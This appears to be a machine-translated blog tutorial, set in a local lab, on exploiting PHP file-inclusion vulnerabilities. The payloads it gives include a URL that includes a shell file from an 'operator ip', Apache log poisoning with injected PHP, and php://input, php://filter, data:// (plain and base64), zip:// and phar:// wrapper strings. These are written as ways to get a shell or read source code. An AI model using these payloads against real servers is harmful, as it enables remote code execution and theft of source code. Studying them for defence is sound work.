当前位置:网站首页>File contains (regardless of suffix) Apache log remote file contains PHP encapsulated pseudo protocol:
File contains (regardless of suffix) Apache log remote file contains PHP encapsulated pseudo protocol:
2022-06-12 04:41:00 【Cook 666】
1. The local file contains :( Ignore suffix )



2. The remote file contains
Remote contains shellallow_url_include Turn on
visit : http:// Target machine ip/index.php?page=http:// Operator ip/shell.txt
Target machine :

Operator :


3.apache Log file contains individuals get.shell
Modify file httpd.conf
# CustomLog "logs/access.log" common Remove the front one # Restart No apache
visit http;//127.0.0.1:8070/00/include.php/<?php phpinfo();?>
adopt Burp Suite Grab the bag

Then include the log file http://127.0.0.1/00/include.php?page=D:\softt\PHPTutorialApache\ogslaccess.log

4.php Encapsulate pseudo protocol :
(1) php://input
php://input|/ Commands can be executed via the input stream pseudo Protocol ,getshell
http://127.0.0.1/00 /include.php?page=php:// input
adopt Burp Suite Grab the bag

add to <?php phpinfo();?>

write in shell


(2) filter://
Read the source code
php://filter// adopt base64 Code to read the source code of the page
http://127.0.0.1/00/include.php?page=php://filter/read=convert.base64-encode/resource=include.php
resource=() This content is your goal. You can take the path to read the source code content of the page you want

(3)zip:// Write a first test.txt

Compress
![]()

(4) data://
Command execution (php Version greater than or equal to 5.2,allow_url_include and allow_url_fopen All for on The state of )?
page=data://text/plain,<?php phpinfo();?>
?page=data://text/plain;base64,PD9waHAgcGhwaW5mbygpPz4=

(5) phar://
Use posture :
If there is a file test.txt, Pack it up zip Compressed package , Specify the absolute path ( Or use relative paths )
?page=phar:// D:\phpStudy\PHPTutorial\WWW\00 /test.zip/test.txt or
?page=phar:// D:\phpStudy\PHPTutorial\WWW\00 /test.jpg/test.txt

边栏推荐
- Function realization and application of trait
- 存储器的保护
- Gavin teacher's perception of transformer live class - rasa dialogue robot project practice in the field of education agency mode and core component source code analysis under the microservice of educ
- L1-065 "nonsense code" (5 points)
- QT compile 45 graphic report of security video monitoring system
- Based on Visual Studio code Net Maui cross platform mobile application development
- Shandong University network security range experimental platform -- team and project introduction
- mysqld: Can‘t create directory ‘D: oftinstall\mysql57 (Errcode: 2 - No such file or directory)
- 疫情数据分析平台工作报告【1】数据采集
- one billion one hundred and eleven million one hundred and eleven thousand one hundred and eleven
猜你喜欢

Data processing and data set preparation

Operation of simulated examination platform for 2022 safety officer-b certificate examination questions

【高效】最强开发工具Ctool编译踩坑

2022-02-28 WPF upper computer 126 understand mqtt

1. Mx6ull learning notes (III) - busybox creates root file system

eBPF系列学习(4)了解libbpf、CO-RE (Compile Once – Run Everywhe) | 使用go开发ebpf程序(云原生利器cilium ebpf )

L1-067 Roche limit (10 points)

Gavin teacher's perception of transformer live class - rasa dialogue robot project practice in the field of education agency mode and core component source code analysis under the microservice of educ

Longest palindrome string

How to make datasets, train them into models and deploy them based on yolov5
随机推荐
疫情数据分析平台工作报告【8.5】额外的爬虫和绘图
Solid programming concepts
[wechat applet] the mobile terminal selects and publishes pictures
D1 Nezha development board power on record
CCF access control system
From science to startup
Longest palindrome string
Things to challenge
Oracle's instr()
疫情数据分析平台工作报告【6】可视化绘图
Advanced MySQL knowledge points (7)
疫情数据分析平台工作报告【6.5】疫情地图
Brief introduction to 44 official cases of vrtk3.3 (combined with steamvr)
Is there a row limit for a single MySQL table
Find missing sequence numbers - SQL query to find missing sequence numbers
Parallelization of accelerated training tf data. Dataset generator
Epidemic data analysis platform work report [2] interface API
Epidemic data analysis platform work report [8.5] additional crawlers and drawings
Unable to resolve dependency tree
D1 哪吒开发板 上电记录